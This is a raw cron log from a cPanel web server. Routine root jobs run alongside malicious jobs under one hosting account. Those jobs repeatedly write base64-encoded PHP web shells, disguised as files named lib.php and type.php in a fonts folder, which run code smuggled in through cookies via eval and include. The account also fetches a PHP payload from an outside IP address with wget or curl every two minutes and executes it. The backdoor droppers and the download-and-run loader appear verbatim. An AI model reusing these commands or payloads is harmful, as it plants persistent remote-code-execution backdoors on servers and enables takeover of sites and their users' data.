Sep 20 13:19:01 ip-184-168-122-23 CROND[7887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:20:01 ip-184-168-122-23 CROND[8119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 13:20:01 ip-184-168-122-23 CROND[8122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:20:01 ip-184-168-122-23 CROND[8124]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:20:01 ip-184-168-122-23 CROND[8126]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:20:01 ip-184-168-122-23 CROND[8125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:20:01 ip-184-168-122-23 CROND[8128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:20:01 ip-184-168-122-23 CROND[8132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:20:01 ip-184-168-122-23 CROND[8131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 13:20:01 ip-184-168-122-23 CROND[8127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:21:01 ip-184-168-122-23 CROND[8481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:21:01 ip-184-168-122-23 CROND[8483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:21:01 ip-184-168-122-23 CROND[8484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:21:01 ip-184-168-122-23 CROND[8485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:22:01 ip-184-168-122-23 CROND[8718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:22:01 ip-184-168-122-23 CROND[8722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:22:01 ip-184-168-122-23 CROND[8721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:22:01 ip-184-168-122-23 CROND[8719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:22:01 ip-184-168-122-23 CROND[8720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:23:01 ip-184-168-122-23 CROND[9003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:23:01 ip-184-168-122-23 CROND[9005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:23:01 ip-184-168-122-23 CROND[9006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:23:01 ip-184-168-122-23 CROND[9007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:24:02 ip-184-168-122-23 CROND[9329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:24:02 ip-184-168-122-23 CROND[9332]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:24:02 ip-184-168-122-23 CROND[9335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:24:02 ip-184-168-122-23 CROND[9336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:24:02 ip-184-168-122-23 CROND[9337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:25:01 ip-184-168-122-23 CROND[9752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:25:01 ip-184-168-122-23 CROND[9753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:25:01 ip-184-168-122-23 CROND[9757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:25:01 ip-184-168-122-23 CROND[9758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:25:01 ip-184-168-122-23 CROND[9756]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:25:01 ip-184-168-122-23 CROND[9760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:26:01 ip-184-168-122-23 CROND[10820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:26:01 ip-184-168-122-23 CROND[10819]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:26:01 ip-184-168-122-23 CROND[10825]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:26:01 ip-184-168-122-23 CROND[10823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:26:01 ip-184-168-122-23 CROND[10827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:27:01 ip-184-168-122-23 CROND[11070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:27:01 ip-184-168-122-23 CROND[11075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:27:01 ip-184-168-122-23 CROND[11077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:27:01 ip-184-168-122-23 CROND[11076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:28:01 ip-184-168-122-23 CROND[11522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:28:01 ip-184-168-122-23 CROND[11525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:28:01 ip-184-168-122-23 CROND[11526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:28:01 ip-184-168-122-23 CROND[11527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:28:01 ip-184-168-122-23 CROND[11528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:29:02 ip-184-168-122-23 CROND[11793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:29:02 ip-184-168-122-23 CROND[11796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:29:02 ip-184-168-122-23 CROND[11794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:29:02 ip-184-168-122-23 CROND[11795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:30:01 ip-184-168-122-23 CROND[12042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 13:30:01 ip-184-168-122-23 CROND[12043]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 13:30:01 ip-184-168-122-23 CROND[12044]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 13:30:01 ip-184-168-122-23 CROND[12048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 13:30:01 ip-184-168-122-23 CROND[12045]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 13:30:01 ip-184-168-122-23 CROND[12046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:30:01 ip-184-168-122-23 CROND[12049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:30:01 ip-184-168-122-23 CROND[12047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 13:31:01 ip-184-168-122-23 CROND[12308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 13:31:01 ip-184-168-122-23 CROND[12310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 13:31:01 ip-184-168-122-23 CROND[12313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
